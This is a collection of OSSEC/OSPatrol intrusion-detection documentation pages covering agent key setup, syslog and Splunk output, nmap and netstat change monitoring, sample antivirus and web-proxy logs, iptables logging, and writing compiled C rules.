		Enter the IP address of the OSSEC manager. This will automatically populate the agent’s ossec.conf with this setting:





[image: server IP address]

		By default the script will enable file integrity checking, rootkit checking, and active-response. Right now I’ve chosen to disable active-response. I want to get more comfortable with OSSEC before telling it to take actions on its own. This will be easy to change later. This screen also mentions that /var/log/dpkg.log will be monitored in addition to the default log files. If this agent was a Red Hat based Linux distribution instead of Debian based, /var/log/yum.log would be listed.





[image: Active response]

		After this OSSEC will be compiled and installed. If there are errors, double check that you have the proper pre-requisites installed.





[image: Installation complete]

		Now that the installation is complete the encryption key needs to be installed. This key will be created on the manager and copied to the agent. The simplest way to do this is using the manage_agents utility, although creating keys one by one may be time consuming if there are a lot of agents. Othe methods will be covered later.





Refer to managing_agents for instructions on adding an agent to an OSSEC server.





Exporting the agent key:



		The manage_agents menu offers an option to (E)xtract key for an agent (E). This option extracts the key (base64 encoded) so it can be transfered to the agent. A simple copy & paste is all that is necessary to install it.





[image: extract the key]



Importing the agent key:



		Importing the key on the agent is simple. We’ll use the manage_agents on the agent as well. Notice the list of available actions is much smaller on the agent.





[image: agent's manage_agents menu]

		Select I to import the key and paste the key we got from the manager’s manage_agents application.





[image: paste the key]

		Confirm the information provided.





[image: confirm the information]

		Finally, restart the agent’s OSSEC processes using ossec-control.





[image: restart]
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How to set up Syslog output


OSPatrol allows you to send the alerts to one or more syslog servers (granularly).



Configuring the Syslog servers


In this example here, I am sending everything to server 192.168.4.1 and only the alerts above level 10 to 10.1.1.1:





Enabling client-syslog


After your configured the servers (as above), run the following command and restart OSPatrol:


# /var/ospatrol/bin/ospatrol-control enable client-syslog
# /var/ospatrol/bin/ospatrol-control start









Checking the configuration


After you restart, you should see ospatrol-csyslog starting:


OSPatrol HIDS v1.6 Stopped
Starting OSPatrol HIDS v1.6 (by Third Brigade, Inc.).
Started ospatrol-csyslogd.
..






and on the logs:


# tail -n 1000 /var/ospatrol/logs/ospatrol.log |grep csyslog
2008/07/25 12:55:16 ospatrol-csyslogd: INFO: Started (pid: 19412).
2008/07/25 12:55:16 ospatrol-csyslogd: INFO: Forwarding alerts via syslog to: .192.168.4.1:514..
2008/07/25 12:55:16 ospatrol-csyslogd: INFO: Forwarding alerts via syslog to: .10.1.1.1:514..






On the syslog server, this is what you should get (every log separated by level, rule, location and the actual event that generated it):


Jul 25 12:17:41 enigma ospatrol: Alert Level: 3; Rule: 5715 - SSHD authentication success.; Location: (jul) 192.168.2.0->/var/log/messages; srcip: 192.168.2.190; user: root; Jul 25 13:26:24 slacker sshd[20440]: Accepted password for root from 192.168.2.190 port 49737 ssh2
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OSSEC 101: Install Windows Agent:



Installation:





Silent Installation:





Importing the agent key:
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Nmap correlation


Ossec can read nmap grepable output files to use as a correlation tool and also to alert based on host information changes. Follow the step by step below on how to configure ospatrol:



Process:



		Add the nmap output file on ospatrol.conf (generally at /var/ospatrol/etc/ospatrol.conf):





<ospatrol_config>
 <localfile>
    <log_format>nmapg</log_format>
    <location>/var/log/nmap-out.log</location>
  </localfile>
</ospatrol_config>







		If the file does not exist, touch it:





ospatrol-test# touch /var/log/nmap-out.log







		Restart ospatrol:





ospatrol-test# /var/ospatrol/bin/ospatrol-control restart







		Run your nmap scans (example scanning 192.168.2.0/24 network):





ospatrol-test# nmap --append_output -sU -sT -oG /var/log/nmap-out.log 192.168.2.0-255

.. note::

   I've found that this is handiest when paired with a routine nmap scan.







		So add the above line to your crontab.





ospatrol-test#crontab -e
15 * * * * nmap --append_output -sU -sT -oG /var/log/nmap-out.log 192.168.2.0-255









Example of alert when a new host is found:


** Alert 1152058913.238: mail
2006 Jul 04 20:21:53 /var/log/nmap-out.log
Rule: 15 (level 8) -> 'New host information added.'
Src IP: (none)
User: (none)
Host: 192.168.2.10, open ports: 21(tcp) 22(tcp) 80(tcp) 113(tcp) 514(udp) 1514(udp) 4500(udp)









Example of alert when a new a host information is changed:


** Alert 1152058983.487: mail
2006 Jul 04 20:23:03 /var/log/nmap-out.log
Rule: 15 (level 8) -> 'Host information changed.'
Src IP: (none)
User: (none)
Host: 192.168.2.1, open ports: 54(udp) 8080(tcp) 161(udp) 520(udp) 1025(udp) 1900(udp)
Previously open ports: 53(udp) 80(tcp) 161(udp) 520(udp) 1025(udp) 1900(udp)
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Monitoring a command:


OSSEC can monitor commands in the same way it monitors log files.


There are two log_format options available for commands: full_command and command.
full_command will treat the entire output of the command as one log message, while command will treat each line as a separate message.


Knowing about applications listening for network connections is important, and finding out about new applications quickly is something OSSEC can do. We want to check for new open ports on monitored systems, and the full_command option will make this easy. First we’ll create a localfile of the full_command type in ossec.conf. Next a rule will have to be created to check the output of the netstat command against the output of the previous netstat command. Any changes will trigger an alert.


The actual command we decided to use was netstat -an | grep LISTEN | grep -v '127.0.0.1' | sort -d. The sort will help keep OSSEC from alerting when the order changes. The options provided to the netstat command in this example are simple and standard, other options might be available and desirable on other systems, for instance the -p flag on Linux systems. The greps will help us ignore ports that aren’t listening on the network. We decide we want to know quickly, but not overload the system so we run the check every ten minutes.



Monitoring the listening ports on a system:


For this command we want to see a list of the listening ports as a single message.


<ossec_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>netstat -an | grep LISTEN | grep -v '127.0.0.1' | sort -d</command>
    <frequency>600</frequency>
    <alias>netstat</alias>
  </localfile>
</ossec_config>






The following rule uses the log message provided by the command above, and checks for differences between the current and previous runs. Using the <alias> option in the command above makes writing the rule a bit easier.


<rule id="510000" level="10">
  <if_sid>530</if_sid>
  <match>ossec: output: 'netstat'</match>
  <check_diff />
  <description>Listened ports have changed.</description>
</rule>






An alert from this command shows that something is now listening to


** Alert 1328711914.0: mail  - local,syslog,
2012 Feb 08 09:38:34 arrakis->netstat
Rule: 510000 (level 7) -> 'Listened ports have changed.'
ossec: output: 'netstat':
tcp          0      0  *.6000                 *.*                    LISTEN
tcp          0      0  *.22                   *.*                    LISTEN
tcp6         0      0  *.6000                 *.*                    LISTEN
tcp6         0      0  ::1.53                 *.*                    LISTEN
tcp6         0      0  ::1.587                *.*                    LISTEN
tcp6         0      0  ::1.25                 *.*                    LISTEN
Previous output:
ossec: output: 'netstat':
tcp          0      0  *.6000                 *.*                    LISTEN
tcp          0      0  *.22                   *.*                    LISTEN
tcp6         0      0  ::1.53                 *.*                    LISTEN
tcp6         0      0  *.6000                 *.*                    LISTEN
tcp6         0      0  ::1.587                *.*                    LISTEN
tcp6         0      0  ::1.25                 *.*                    LISTEN
tcp6         0      0  *.22                   *.*                    LISTEN






Just like knowing the which daemons are listening on the network, knowing which applications are installed on an agent can be very useful. New applications being installed on the system without the knowledge of the admins can be a problem. This is a check that probably doesn’t need to be run too often.





Check the RPM database for changes in the installed applications:


The defined command will look like the following:


<ossec_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>rpm -qa | sort -d</command>
    <frequency>3600</frequency>
    <alias>rpmcheck</alias>
  </localfile>
</ossec_config>






And the corresponding rule:


<rule id="510001" level="10">
  <if_sid>530</if_sid>
  <match>ossec: output: 'rpmcheck'</match>
  <check_diff />
  <description>Installed packages have changed.</description>
</rule>
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Why am I getting multiple 675 events from AD + Samba?


by `Daniel B. Cid <http://www.dcid.me>`_


If you have Windows AD and Linux with Samba in the same network, you may be  getting multiple 675 logon failures every time a Linux user tries to access the AD.
This link [http://blog.scottlowe.org/2006/10/23/event-logging-in-ad-integration-scenarios/#comment-5840] explains the reason:


 These errors are logged because the MS Kerberos implementation expects the initial TGT request to contain a
"preauthentication" blob which is a time stamp encrypted using the user.s password hash as an encryption key
(PA_ENC_TIMESTAMP in Kerberos-speak) - this preauthentication is used to prevent replay attacks. The Linux Kerberos
libraries dont send this blob in their initial TGT request. When it receives the TGT without the preauthentication
blob, the AD server:
1. Rejects the initial request
2. In the reject response, indicates that Preauthentication is required and hints with a list of acceptable preauthtcation types.
3. Logs the 675 error in the Event log.






To avoid receving multiple 18152 fired (level 10) -> "Multiple Windows Logon Failures." on OSPatrol, you can ignore this specific event id, with the following local rule (ignoring 675 error with Failure code 0x19):


<rule id="xyz" level="0">
  <if_sid>18106</if_sid>
  <id>^675</id>
  <match>Failure Code:0x19</match>
</rule>






This behavior was reported by Nicolas Arias <nicolas.arias at xx.com> at the OSPatrol mailing list.
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Scenarios:


Scenario 1: Configuration for all Linux agents


Scenario 2: Configure an agent to monitor /var/log/application.log


Scenario 3: All of the webservers need to monitor /var/log/httpd/error_log


Scenario 4: Monitor XXXCOMMANDXXX on an agent
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  OSSEC and Splunk


Here’s how I configured OSSEC to send alerts to Splunk:


In ossec.conf add a syslog_output block specifying your Splunk system IP address and the port your network input is listening on:




		<syslog_output>


		<server>172.10.2.3</server>
<port>10002</port>





</syslog_output>






Now you need to enable the syslog_output module and restart OSSEC:



#/var/ossec/bin/ossec-control enable client-syslog
#/var/ossec/bin/ossec-control restart



On restart you’ll see ossec-csyslogd starting up. Now for the Splunk side.


You have a few options on how to receive OSSEC alerts. The two options I’ve looked at are a standard Splunk network input or syslog-ng. I would suggest using syslog-ng and either the FIFO or file destination method. This way when you need to restart Splunk, which can be rather frequent, you won’t lose events like you would with the Splunk network input. The Splunk for OSSEC application uses the network input method for simplicity.


Grab the Splunk for OSSEC app which can be found here: http://www.splunkbase.com/apps/All/Security/app:Splunk+for+OSSEC#.


The OSSEC app for  is currently designed for SPLUNK 3.x. There is a work around. Install it in  SPLUNK, then use the SPLUNK Search tool, and the OSSEC dashboards are all there. (it works)


One other addition:


When you edit the opt/splunk/etc/system/local/inputs.conf  file
Splunk is happier when you add the host listing on line 3 of the file below, else it thinks you have two ossec servers...


[default]


host = mymachine


mymachine=10.1.100.141


[udp://10.1.100.141:10002]


disabled=false


sourcetype=ossec


The .spl is actually just a .tgz so all you need to do is extract it to $SPLUNK_HOME/etc/apps/.


Make sure you update any local or network firewalls that this communication is traversing and then restart Splunk.



#$SPLUNK_HOME/bin/splunk restart



If you have any tweaks or improvements to configuration or the Splunk for OSSEC app please let me know! (canuck.eh[at]gmail[dot]com)




          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ossec101/alert_output/cef.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
OSSEC 101: cef output



Options:





Log sample:
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Symantec Antivirus logs


Definition of the logs is available here [http://service1.symantec.com/SUPPORT/ent-security.nsf/0/57757c1d149130b788256c760069f7f7?OpenDocument&seg=en&lg=en&ct=us]



General logs:


24090D00000A,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-LU2K3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D00000F,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-APPS-BOX4 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000018,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-APPS-BOX5 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D00001C,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-APPS-BOX3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000023,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-WB2K3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000104,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-SPTN2K3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000117,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-CIS-BOX8 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000A0A,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-LU2K3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D000A10,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-APPS-BOX4 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D0C001B,3,2,0,ALWILSON2,rtrebbaragh,,,,,,,553648128,"Scan started on all drives and all extensions.",1160755230,,0,,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-127.0.0.1,ACMELABSav,ACMELABS,0:F:1F:E5:C:ED,8.1.825
24090D0B001E,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-APPS-BOX3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D0C0024,3,2,0,SHEDGE1-LT,sHEDGE,,,,,,,553648128,"Scan started on all drives and all extensions.",1160755238,,0,,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.30.115,ACMELABSav,ACMELABS,0:15:C5:B:D1:E0,8.1.825
24090D0B0024,4,3,7,ACMELABS-SRV2,SYSTEM,,,,,,,16777216,"Update to computer ACMELABS-WB2K3 of virus definition file 81011r succeeded.",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,8.1.825
24090D0C0037,3,2,0,OH-AMD03,ohenry,,,,,,,553648128,"Scan started on all drives and all extensions.",1160755257,,0,,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.32.26,ACMELABSav,ACMELABS,0:F:1F:DE:6A:E,8.1.825
24090D0B0101,7,3,8,JAMEINSON1,bwillis,,,,,,,553648128,"New virus definition file loaded. Version: 81011r.",0,,0,,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.2.124,ACMELABSav,ACMELABS,0:6:5B:27:4F:7E,8.1.825
24090D0C0E3A,2,2,0,BJOHNSONPC,fajuhnson,,,,,,,553648128,"Scan Complete: Viruses:0   Infected:0   Scanned:73436   Files/Folders/Drives Omitted:20",1160758847,,0,0:0:73436:20,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.80.177,ACMELABSav,ACMELABS,0:11:43:BC:F5:96,8.1.825
24090D0C0E3B,2,2,0,SLOVELACE1-PC,tfwqonson,,,,,,,553648128,"Scan Complete: Viruses:0   Infected:0   Scanned:79847   Files/Folders/Drives Omitted:20",1160758825,,0,0:0:79847:20,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.70.158,ACMELABSav,ACMELABS,,8.1.825
24090D0C0F01,2,2,0,JBIGSHOE1-PC,jgree,,,,,,,553648128,"Scan Complete: Viruses:0   Infected:0   Scanned:96311   Files/Folders/Drives Omitted:20",1160758861,,0,0:0:96311:20,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.50.109,ACMELABSav,ACMELABS,,8.1.825
24090D0C0F02,2,2,0,PRCUSTPC1,athorpe,,,,,,,553648128,"Scan Complete: Viruses:0  Infected:0   Scanned:85159   Files/Folders/Drives Omitted:35",1160758841,,0,0:0:85159:35,,,,0,,,,,,,,,,ACMELABS-SRV2,,,(IP)-192.168.22.24,ACMELABSav,ACMELABS,0:12:3F:49:93:53,8.1.825
24090D0C0F05,6,2,0,SHARP1,SHARP,,,,,,,553648128,"Scan could not open file C:\Documents and Settings\SHARP\Local Settings\Application Data\Microsoft\Windows\USRCLASS.DAT [00000003]",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,
24090D0C0F05,6,2,0,SHARP1,SHARP,,,,,,,553648128,"Scan could not open file C:\Documents and Settings\SHARP\Local Settings\Application Data\Microsoft\Windows\USRCLA~1.LOG [00000003]",0,,0,,,,,0,,,,,,,,,,,,,(IP)-192.168.49.66,ACMELABSav,ACMELABS,,









Log samples of virus detection:


240801012128,5,1,720997,RBLWAP,SYSTEM,Trojan.Zlob,C:\WINDOWS\system32\ld100.tmp,5,4,4,256,570441764,"",0,,0,,0,4254,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,Trojan.Nebuler,C:\WINDOWS\system32\winvdj32.dll,5,4,4,256,570441764,"",0,,0,,0,18150,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\winD51.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\winDA7.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\    .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\  .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\                   .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\   .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\ images.exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\                         .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\                       .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\                    .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\win1C.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012128,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\          .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\        .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\      .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,W32.Beagle.BY@mm,\\jsnail1\c$\WINNT\bagle.exe,5,4,4,256,570441764,"",0,,0,,0,39707,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\     .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,W32.Reatle.I@mm,\\jsnail1\c$\WINNT\system32\       .exe,5,4,4,256,570441764,"",0,,0,,0,17525,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\win19D3.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\win19E5.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\win1A04.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
240801012127,5,1,720997,RBLWAP,SYSTEM,Trojan Horse,C:\WINDOWS\TEMP\win1A0B.tmp,5,4,4,256,570441764,"",0,,0,,0,25464,0,0,0,0,0,0,20060830.022,58100,2,4,0,acme-AVSRV,{579642AA-5A5E-46E1-8613-2289349D1F27},,(IP)-192.168.100.237,acmeav,acme,,8.1.825
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Why is OSPatrol not seeing my iptables messages?



		By `Daniel B. Cid `http://www.dcid.me/>`_





The most common reason why ospatrol would not see your iptables [http://www.iptables.org/] logs is
because you didn’t configure it properly to log. By default iptables will NOT log anything.


There is some good [http://iptables-tutorial.frozentux.net/iptables-tutorial.html] documents [http://www.iptables.org/documentation/index.html] online on how to configure iptables, but for ospatrol to understand
them, you need to set the log-prefix option in addition to the log action.


For accept rules, the following action (with prefix) should be set:
.. code-block:: console



-j LOG –log-prefix=”ACCEPT “



They will generate the following log (or similar):


Jan 11 20:44:49 hostname kernel: [89463.101343] ACCEPT IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=33772 DF PROTO=TCP SPT=43961 DPT=81 WINDOW=32767 RES=0x00 SYN URGP=0






For deny rules, the following action should be set:


-j LOG --log-prefix="DROP "






They will generate the following log (or similar):








Jan 11 20:44:49 xxx kernel: [89463.101343] DROP IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=33772 DF PROTO=TCP SPT=43961 DPT=81 WINDOW=32767 RES=0x00 SYN URGP=0


Note that ospatrol will based its action based on the “DROP” or ALLOW that you configured.
For more information about iptables log, take a look here [http://logi.cc/linux/netfilter-log-format.php3] .
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OSSEC 101: database output



Options:





Log sample:
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Log Samples for Symantec Web Security



Generic entries:


20070717,30020,1=3,41=SWS-3.0.1.86/lists,100=Version 3.0.3299,3=7,2=29
20070717,30024,100=SWS-3.0.1.86,2=36
20070717,30044,1=3,3=1,2=302
20070717,30044,1=3,1202=20070715.002,1203=20070715.002,3=7,2=301
20070717,30225,1=3,41=SWS-3.0.1.86/dictionaries,100=Version 3.0.638,3=7,2=29
20070717,30517,1=3,41=SWS-3.0.1.86/vendor-config,100=Version 3.0.6,3=7,2=29
20070717,40031,1=3,41=SWS-3.0.1.86/lists,100=Version 3.0.3299,3=7,2=29









Session timeout (3=1,2=2):


20070717,73559,1=5,11=1.2.3.4,100=Logoff due to timeout.,10=user2,3=1,2=2
20070717,73559,1=5,11=5.6.7.8,100=Logoff due to timeout.,10=user3,3=1,2=2
20070717,73559,1=5,11=6.7.8.9,100=Logoff due to timeout.,10=user4,3=1,2=2









Login success (3=2,2=1):


20070717,73613,1=5,11=10.1.1.3,10=userc,3=1,2=1
20070717,103426,1=5,11=1.2.3.4,10=virtadmin,3=1,2=1









Login failures: (3=2,2=1):


20070717,73559,1=5,11=10.1.1.1,10=usera,3=2,2=1
20070717,73604,1=5,11=10.1.1.2,10=userb,3=2,2=1
20070717,103330,1=5,11=1.2.3.4,10=virtadmin,3=2,2=1









URLs:


20070717,73614,1=5,11=1.2.3.4,1106=News,60=http://news.bbc.co.uk/,10=userX,1000=212.58.240.42,2=27
20070717,115252,1=5,11=1.2.3.4,1106=Miscellaneous,60=https://ad.doubleclick.net/,10=userY,1000=216.73.87.52,2=27
20070717,122017,1=5,11=2.3.4.5,1106=Finance,60=http://www.esl.org/,10=userB,1000=208.2.188.219,2=27









Example of ossec parsing it:


** Alert 1184856821.41038: - symantec,authentication_success,
2007 Jul 19 11:53:41 xyz->file
Rule: 7415 (level 3) -> 'Login success accessing the web proxy.'
Src IP: 10.1.1.3
User: userc
20070717,73613,1=5,11=10.1.1.3,10=userc,3=1,2=1

** Alert 1184856843.41290: - symantec,authentication_success,
2007 Jul 19 11:54:03 abc->file
Rule: 7415 (level 3) -> 'Login success accessing the web proxy.'
Src IP: 10.1.1.3
User: userc
20070717,73613,1=5,11=10.1.1.3,10=userc,3=1,2=1
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How do I use or create my own compiled rules?


By `Daniel Cid <http://www.dcid.me/>`_


Compiled rules are an extension to the normal (default) XML rules and should only be used when you
need additional functionality not present in there.



How do they work?


Inside the OSPatrol package you will find the directory src/analysisd/compiled_rules/ , with the
default compiled rules. To see a list of rules, run the command (inside that directory):


$ ``pwd``
../src/analysisd/compiled_rules
$ ``./register_rule.sh list``
*Available functions:
check_id_size
comp_mswin_targetuser_calleruser_diff
comp_srcuser_dstuser






To use any of them inside a rule, just add the <compiled_rule> tag with the function you want
to use. Ex:


<rule id="100155" level="10">
  <if_sid>18111</if_sid>
  ``<compiled_rule>comp_mswin_targetuser_calleruser_diff</compiled_rule>``
  <description>User changed someone else password.</description>
</rule>









How to write my own rule:


To create your own rule, first open a new .c file (don’t use the generic one, since it is modified during
upgrades).


$ touch myownrules.c






And create your function inside of it. In this example here we added a function to check if the url field
is longer than 1024:


void *myosrule_check_url_size1024(Eventinfo *lf)
{
    if(!lf->url)
    {
        return(NULL);
    }

    if(strlen(lf->url) >= 1024)
    {
        return(lf);
    }
    return(NULL);
}






After that, register your function:


$ ./register_rule.sh add myosrule_check_url_size1024






You can also save it (if you have ospatrol installed) so that during the next upgrade it will reuse them:


$ ./register_rule.sh save
*Save completed at /var/ospatrol/compiled_rules/









Available fields in the Event structure:


typedef struct _Eventinfo
{
    /* Extracted from the event */
    char *log;
